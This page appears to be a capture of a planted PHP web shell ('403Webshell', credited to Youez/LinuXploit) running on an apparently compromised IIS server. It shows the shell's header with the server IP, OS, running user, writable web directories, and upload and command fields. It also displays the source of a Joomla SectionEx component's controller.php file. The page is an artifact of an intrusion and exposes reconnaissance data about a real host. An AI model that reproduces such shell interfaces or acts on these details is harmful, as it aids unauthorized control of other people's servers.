403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.216.74
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/icd/components/com_sectionex/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/icd/components/com_sectionex/controller.php
<?php
/**
 * @package		SectionEx
 * @copyright	Copyright (C) 2008 Robert Kuster. All rights reserved.
 * @license		GNU/GPL, see LICENSE.php
 * @link        http://www.stackideas.com  
 *
 * SectionEx is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See COPYRIGHT.php for copyright notices and details.
 */ 
 
// no direct access
defined('_JEXEC') or die('Restricted access');
jimport('joomla.application.component.controller');

require_once(JPATH_COMPONENT_SITE.DS.'classes'.DS.'theme.php');

/**
 * Hello World Component Controller
 *
 * @package		HelloWorld
 */
class SectionExController extends JController
{
	/**
	 * Constructor
	 *
	 * @since 0.1
	 */
	function __construct()
	{
		$document	=& JFactory::getDocument();
		
		$ajaxData	=  "/*<![CDATA[*/
	var se_site = '" . rtrim( JURI::root() , '/' ) . "';
/*]]>*/";

		$document->addScriptDeclaration( $ajaxData );
		parent::__construct();
	}

	/**
	 * Method to display the view
	 *
	 * @access	public
	 */

	function display()
	{
		$document	=& 	JFactory::getDocument();
		$mainframe  =& 	JFactory::getApplication();
		
		$viewName	=	JRequest::getCmd( 'view', $this->getName() );
		$viewLayout	=	JRequest::getCmd( 'layout', 'default' );
		$view		=&	$this->getView( $viewName, $document->getType() , '' );			
	    $format		=	JRequest::getCmd( 'format' , 'html' );
		
		$params 	=& 	$mainframe->getParams();
		
		jimport( 'joomla.filesystem.folder' );
			    
	    $theme = new SeThemes();
	    
		// check for themes & template override
	    $user_theme = $theme->getThemes();
	    
		// get current joomla template
    	$template = $mainframe->getTemplate();
		
		$view->addTemplatePath( JPATH_ROOT . DS . 'components' . DS . 'com_sectionex' . DS . 'themes' . DS . 'default' );
		
		// we have override folder in current joomla template
		if ( JFolder::exists( JPATH_ROOT . DS . 'templates' . DS . $template . DS . 'html' . DS . 'com_sectionex' ) ) {
			
			if ( $params->get('se_theme_override') ) {
				$view->addTemplatePath( JPATH_ROOT . DS . 'templates' . DS . $template . DS . 'html' . DS . 'com_sectionex' );
			}
			else {
				$view->addTemplatePath( JPATH_ROOT . DS . 'components' . DS . 'com_sectionex' . DS . 'themes' . DS . $user_theme );
			}
		}
		elseif ( JFolder::exists( JPATH_ROOT . DS . 'components' . DS . 'com_sectionex' . DS . 'themes' . DS . $user_theme ) ) {
			$view->addTemplatePath( JPATH_ROOT . DS . 'components' . DS . 'com_sectionex' . DS . 'themes' . DS . $user_theme );
		}
	    
		if ( !empty( $format ) && $format == 'sejax' ) {
			// Ajax calls.
			$data		= JRequest::get( 'POST' );
			$arguments	= array();
			
			foreach( $data as $key => $value )
			{
				if( JString::substr( $key , 0 , 5 ) == 'value' )
				{
					$val			= stripslashes( $value );
					$val			= rawurldecode( $val );
					$arguments[]	= $val;
				}
			}
			
			echo $viewName . ':' . $viewLayout;exit;
		
			if(!method_exists( $view , $viewLayout ) )
			{
				$sejax	= new Sejax();
				$sejax->script( 'alert("' . JText::sprintf( 'Method %1$s does not exists in this context' , $viewLayout ) . '");');
				$sejax->send();

				return;
			}
			
			// Execute method
			call_user_func_array( array( $view , $viewLayout ) , $arguments );
		}
		else 
		{		
			parent::display();
		}		
	}

}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit